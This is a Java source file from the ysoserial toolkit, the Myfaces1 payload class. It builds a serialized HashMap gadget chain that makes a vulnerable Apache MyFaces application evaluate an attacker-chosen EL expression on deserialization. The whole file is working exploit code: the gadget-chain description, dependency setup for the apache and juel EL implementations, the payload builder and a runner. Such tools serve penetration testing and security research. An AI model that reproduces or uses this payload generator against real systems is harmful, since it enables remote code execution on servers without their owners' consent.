package ysoserial.payloads;
import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import org.apache.myfaces.context.servlet.FacesContextImpl;
import org.apache.myfaces.context.servlet.FacesContextImplBase;
import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext;
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* Arguments:
* - an EL expression to execute
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@PayloadTest(skip="Requires running MyFaces, no direct execution")
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
public Object getObject ( String command ) throws Exception {
return makeExpressionPayload(command);
}
public static String[] getDependencies () {
if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
} else if ( "juel".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
}
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
}
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception {
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
return Gadgets.makeMap(e2, e);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Myfaces1.class, args);
}
}